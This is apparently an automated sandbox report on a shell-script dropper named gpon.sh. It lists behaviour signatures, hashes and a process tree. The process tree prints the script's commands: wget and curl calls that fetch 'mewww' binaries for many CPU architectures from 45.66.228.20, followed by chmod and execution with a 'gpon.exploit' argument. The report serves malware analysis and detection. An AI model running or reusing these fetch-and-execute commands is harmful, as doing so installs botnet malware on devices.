Analysis

  • max time kernel
    2s
  • max time network
    130s
  • platform
    ubuntu-18.04_amd64
  • resource
    ubuntu1804-amd64-20261019-en
  • resource tags

    arch:amd64arch:i386image:ubuntu1804-amd64-20261019-enkernel:4.15.0-213-genericlocale:en-usos:ubuntu-18.04-amd64system
  • submitted
    27/10/2026, 10:26

General

  • Target
    gpon.sh
  • Size 2KB
  • Sample261027-mgqbastsby
  • SHA256 881be033c2f28e7f3ad6bb7299809fba8a399b10ce389c5cf6191412b556a473
  • MD5 SHA1 SHA512 TLSH

Malware Config

Signatures

  • File and Directory Permissions Modification 1 TTPs 12 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 12 IoCs
  • Traces itself 2 IoCs

    Traces itself to prevent debugging attempts

  • UPX packed file 2 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Reads runtime system information 4 IoCs

    Reads data from /proc virtual filesystem.

  • System Network Configuration Discovery 1 TTPs 2 IoCs

    Adversaries may gather information about the network configuration of a system.

  • Writes file to tmp directory 15 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/gpon.sh
    /tmp/gpon.sh
    1⤵
    • Executes dropped EXE
    • Writes file to tmp directory
    PID:1553
    • /usr/bin/wget
      wget http://45.66.228.20/bins/mewww.arm -O mewww.arm
      2⤵
      • Writes file to tmp directory
      PID:1554
    • /bin/cat
      cat mewww.arm
      2⤵
        PID:1559
      • /bin/chmod
        chmod +x ssh-updater
        2⤵
        • File and Directory Permissions Modification
        PID:1560
      • /tmp/ssh-updater
        ./ssh-updater gpon.exploit
        2⤵
          PID:1561
        • /usr/bin/wget
          wget http://45.66.228.20/bins/mewww.arm5 -O mewww.arm5
          2⤵
          • Writes file to tmp directory
          PID:1566
        • /bin/cat
          cat mewww.arm5
          2⤵
            PID:1567
          • /bin/chmod
            chmod +x ssh-updater
            2⤵
            • File and Directory Permissions Modification
            PID:1568
          • /tmp/ssh-updater
            ./ssh-updater gpon.exploit
            2⤵
              PID:1569
            • /usr/bin/wget
              wget http://45.66.228.20/bins/mewww.arm6 -O mewww.arm6
              2⤵
              • Writes file to tmp directory
              PID:1571
            • /bin/cat
              cat mewww.arm6
              2⤵
                PID:1572
              • /bin/chmod
                chmod +x ssh-updater
                2⤵
                • File and Directory Permissions Modification
                PID:1573
              • /tmp/ssh-updater
                ./ssh-updater gpon.exploit
                2⤵
                  PID:1574
                • /usr/bin/wget
                  wget http://45.66.228.20/bins/mewww.arm7 -O mewww.arm7
                  2⤵
                  • Writes file to tmp directory
                  PID:1576
                • /bin/cat
                  cat mewww.arm7
                  2⤵
                    PID:1577
                  • /bin/chmod
                    chmod +x ssh-updater
                    2⤵
                    • File and Directory Permissions Modification
                    PID:1578
                  • /tmp/ssh-updater
                    ./ssh-updater gpon.exploit
                    2⤵
                      PID:1579
                    • /usr/bin/wget
                      wget http://45.66.228.20/bins/mewww.x86 -O mewww.x86
                      2⤵
                      • Writes file to tmp directory
                      PID:1581
                    • /bin/cat
                      cat mewww.x86
                      2⤵
                        PID:1582
                      • /bin/chmod
                        chmod +x ssh-updater
                        2⤵
                        • File and Directory Permissions Modification
                        PID:1583
                      • /tmp/ssh-updater
                        ./ssh-updater gpon.exploit
                        2⤵
                        • Traces itself
                        • Reads runtime system information
                        PID:1584
                      • /usr/bin/wget
                        wget http://45.66.228.20/bins/mewww.x86_64 -O mewww.x86_64
                        2⤵
                        • Writes file to tmp directory
                        PID:1585
                      • /bin/cat
                        cat mewww.x86_64
                        2⤵
                          PID:1586
                        • /bin/chmod
                          chmod +x ssh-updater
                          2⤵
                          • File and Directory Permissions Modification
                          PID:1587
                        • /tmp/ssh-updater
                          ./ssh-updater gpon.exploit
                          2⤵
                          • Traces itself
                          • Reads runtime system information
                          PID:1588
                        • /usr/bin/wget
                          wget http://45.66.228.20/bins/mewww.mips -O mewww.mips
                          2⤵
                          • System Network Configuration Discovery
                          • Writes file to tmp directory
                          PID:1589
                        • /bin/cat
                          cat mewww.mips
                          2⤵
                          • System Network Configuration Discovery
                          PID:1590
                        • /bin/chmod
                          chmod +x ssh-updater
                          2⤵
                          • File and Directory Permissions Modification
                          PID:1591
                        • /tmp/ssh-updater
                          ./ssh-updater gpon.exploit
                          2⤵
                            PID:1592
                          • /usr/bin/wget
                            wget http://45.66.228.20/bins/mewww.mpsl -O mewww.mpsl
                            2⤵
                            • Writes file to tmp directory
                            PID:1594
                          • /bin/cat
                            cat mewww.mpsl
                            2⤵
                              PID:1595
                            • /bin/chmod
                              chmod +x ssh-updater
                              2⤵
                              • File and Directory Permissions Modification
                              PID:1596
                            • /tmp/ssh-updater
                              ./ssh-updater gpon.exploit
                              2⤵
                                PID:1597
                              • /usr/bin/wget
                                wget http://45.66.228.20/bins/mewww.ppc -O mewww.ppc
                                2⤵
                                • Writes file to tmp directory
                                PID:1599
                              • /bin/cat
                                cat mewww.ppc
                                2⤵
                                  PID:1600
                                • /bin/chmod
                                  chmod +x ssh-updater
                                  2⤵
                                  • File and Directory Permissions Modification
                                  PID:1601
                                • /tmp/ssh-updater
                                  ./ssh-updater gpon.exploit
                                  2⤵
                                    PID:1602
                                  • /usr/bin/wget
                                    wget http://45.66.228.20/bins/mewww.m68k -O mewww.m68k
                                    2⤵
                                    • Writes file to tmp directory
                                    PID:1604
                                  • /bin/cat
                                    cat mewww.m68k
                                    2⤵
                                      PID:1605
                                    • /bin/chmod
                                      chmod +x ssh-updater
                                      2⤵
                                      • File and Directory Permissions Modification
                                      PID:1606
                                    • /tmp/ssh-updater
                                      ./ssh-updater gpon.exploit
                                      2⤵
                                        PID:1607
                                      • /usr/bin/wget
                                        wget http://45.66.228.20/bins/mewww.sh4 -O mewww.sh4
                                        2⤵
                                        • Writes file to tmp directory
                                        PID:1609
                                      • /bin/cat
                                        cat mewww.sh4
                                        2⤵
                                          PID:1610
                                        • /bin/chmod
                                          chmod +x ssh-updater
                                          2⤵
                                          • File and Directory Permissions Modification
                                          PID:1611
                                        • /tmp/ssh-updater
                                          ./ssh-updater gpon.exploit
                                          2⤵
                                            PID:1612
                                          • /usr/bin/wget
                                            wget http://45.66.228.20/bins/mewww.arc -O mewww.arc
                                            2⤵
                                            • Writes file to tmp directory
                                            PID:1614
                                          • /usr/bin/curl
                                            curl -o mewww.arc http://45.66.228.20/bins/mewww.arc
                                            2⤵
                                            • Writes file to tmp directory
                                            PID:1615
                                          • /bin/cat
                                            cat mewww.arc
                                            2⤵
                                              PID:1616
                                            • /bin/chmod
                                              chmod +x ssh-updater
                                              2⤵
                                              • File and Directory Permissions Modification
                                              PID:1617
                                            • /tmp/ssh-updater
                                              ./ssh-updater gpon.exploit
                                              2⤵
                                                PID:1618

                                            Network

                                                  MITRE ATT&CK Enterprise v16

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                                                  Downloads

                                                  mewww.arm

                                                  • Path /tmp/mewww.arm
                                                  • Size 77KB
                                                  • SHA256 e46dfe295c900777bd3a9da5ca9d96421ef5dd230bca7e764154c87318fd4720
                                                  • MD5 SHA1 SHA512 SSDEEP TLSH

                                                  ssh-updater

                                                  • Path /tmp/ssh-updater
                                                  • Size 76KB
                                                  • SHA256 06044efe3f19c9e3635689c7d817deb6ba4f7ad390fa742d8be17148a59dfa9b
                                                  • MD5 SHA1 SHA512 SSDEEP TLSH

                                                  ssh-updater

                                                  • Path /tmp/ssh-updater
                                                  • Size 180KB
                                                  • SHA256 48356530c9442e55c83b39e862189dbb675a608b27400c0b161f934c3519a9cd
                                                  • MD5 SHA1 SHA512 SSDEEP TLSH